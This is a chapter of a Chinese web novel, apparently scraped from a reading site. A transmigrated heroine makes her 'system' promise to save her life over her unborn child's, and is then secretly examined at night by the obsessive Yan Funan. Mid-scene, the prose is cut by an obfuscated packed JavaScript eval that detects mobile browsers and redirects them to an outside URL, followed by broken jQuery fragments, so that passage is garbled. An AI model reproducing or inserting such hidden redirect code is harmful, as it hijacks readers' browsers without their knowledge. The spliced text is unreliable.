它拖拖拉拉地“上线”,还伴随着一个夸张的哈欠声,用那副惯常的腔调开口:【我的小安安呀,这都什么时间了,你也不知道心疼心疼我,还让我加班。】
武晴安额角青筋微跳,咬牙道:“你加班?我找你找得火烧眉毛,你连个泡都没冒,加的哪门子班?!”
【冤枉呐!】系统叫起屈来,【我又不止负责你这一个‘剧本’,业务繁忙,回复延迟也是情有可原嘛,你也要理解理解我嘛……】
“理解你?那谁来理解我?!”武晴安打断它的絮叨,单刀直入,“少废话。我只问你,我到底什么时候能摆脱燕傅南这个疯批?”
系统顿时支吾起来:【这个嘛……小安安,你也知道,你这边的剧情线早就跑偏了。后续发展我也只能窥见一二,看不清全貌,更没法直接帮你脱困啊……】
“我就知道你没用。”
【啧,怎么还带人身攻击的……】系统不满地嘟囔。
“那你这个‘系统’,难道不该费尽心力保障我的安全吗?”
【该该该……】系统声音低了下去,带着点自认倒霉的意味,【真是上辈子做了孽,才选了这行。】
“好。”武晴安抓住它的话头,“那你无论如何,都得保住我的性命,赌上你后半辈子的工资。”
【要不要这么恶毒……】系统吐槽了一句,随即语气正经了些,【我的确有点特殊权限,但全书范围内,只能使用一次,而且……只能确保‘一人’性命无虞。】
武晴安敏锐地捕捉到它话有话,问:“什么意思?”
【小安安,】系统的声音里带上了一丝难以言喻的微妙,【你肚子里……可还有一个呢。】
武晴安蹙眉:“这有何区别,总不能护着孩子,让我去死吧,那结果不都是一尸两命的死局?”
系统轻笑了一声:【这你倒不必担心。他自有他的去处,会在其他人身上延续生命。或者,你若能坚持到平安生产,他自然也能安全降临。总之,这孩子注定会来到这世上。】
武晴安轻嗤了声,几乎是立刻做出了决断:“那自然是要保我。”
系统似乎愣了一下:【确认吗?可你们人类,尤其是母亲,最优先的选择难道不是孩子?】
“是但我的命同样重要。”武晴安的声音异常冷静,甚至清醒理性地分析道,“孩子若真的意外没了,只要我活着,将来未必不能再有。可如果我没了,留下他孤零零在这世上,成了没娘的孩子,注定要受人欺凌。更可怕的是,他或许一生都要背负‘是我害死母亲’的愧疚,最后心理扭曲,变成另一个变态。”
系统:【……】
“那些狗血剧和小说里,不都是这种套路吗?”武晴安继续分析,“再者,如果按你所说,他是在‘其他人’身上延续生命,那从本质上说,那就不再是‘我的孩子’了。让我为一个尚未成型、甚至将来可能与我没关系的生命牺牲自己,我有病吗?!”
系统:【……】
我竟无言以对。
“记得你的承诺,无论如何,一定要保全我性命。”
【好吧。】系统界面在虚空中展开,浮现出一份泛着微光的契约文书,【那就在这上面签字吧。签下之后,可就没有更改选项的机会喽。】
武晴安毫不犹豫,洋洋洒洒地签下自己的名字:“放心,我不会改的。”
系统离开后,武晴安心头总算略微一定。她正想放松身体躺下,门外却传来一声极轻、几乎融于夜色的脚步声。
有人。
她心头骤然绷紧,立即躺入被中,闭眼假寐。
微弱的烛光将一道修长的影子投在床前,那股带着冰冷质感的气息无声笼罩下来——是燕傅南
他不知何时已潜入房中,静立在榻边。接着,武晴安感到自己的手腕被轻轻握住,衣袖被卷起。
他要做什么?
武晴安手臂上的寒毛瞬间立起,心中警铃大作。
这变态该不会要做什么变态的事吧?!
可他只是将她的手臂凑近眼前,借着昏暗的光线,极其细致地审视着,目光如同在查验一件精密的瓷器
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381419|176684||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
随后,他又换过另一只手,这次没用眼睛看,而是用指尖轻轻地、反复地摩挲着她的腕骨部位,触感冰凉而专注。
武晴安心里过电般地抖了抖,立即猜到了他的意图。
他是在确认自己的身份!
燕傅南这个偏执狂,对原主的执念与了解,已然深入骨髓。
伤疤或许可以伪造,但这些连本人可能都未曾留意的细微身体特征,却难以模仿。
别说武晴安自己不清楚这具身体手臂手腕上有何印记,恐怕连原主本人也从未在意过。
不过,这一点她倒并不十分担心。她是魂穿,所用的本就是原主实实在在的身躯。任凭燕傅南如何查验,也绝不可能找出问题。
果然,片刻后,她听到一声极轻的叹息。随后,便感觉一道复杂的目光落在她身上,让她浑身都不舒服起来。
好在这样的审视并未持续太久。燕傅南轻轻放下她的手腕,为她拉好衣袖,又静立了片刻,终于转身,悄无声息地退出了房间。
武晴安缓缓吐出一口憋了许久的气,这才在黑暗中仔细查看自己的手臂。
右侧小臂内侧,果真有一颗细小的朱砂痣,颜色浅淡,若非特意寻找极难发现。而左侧手腕,并无任何痕迹和异常。
她下意识地用另一只手的指尖触摸左侧腕骨,仔细感受。
皮肤之下,骨节交接处,确实有一个极其微小的、略带硬度的凸点,但被皮肉包裹,肉眼根本无法察觉,若非刻意以指腹摩挲,也根本感觉不到。
武晴安惊讶地瞪大了眼,在原主的记忆碎片中,燕傅南与她并无过于亲密越界的接触,他又是如何知晓腕骨处这样隐秘的特征?
或许,是因为原主自己都从未在意,所以记忆里才了无痕迹吧。
变态,当真是变态啊。
自己怕早就被看穿了,即便今夜查验“无误”,恐怕也远远不足以打消他的疑心。
她只能在心中暗暗期盼,但愿林崇他们能早些找到自己。
-
-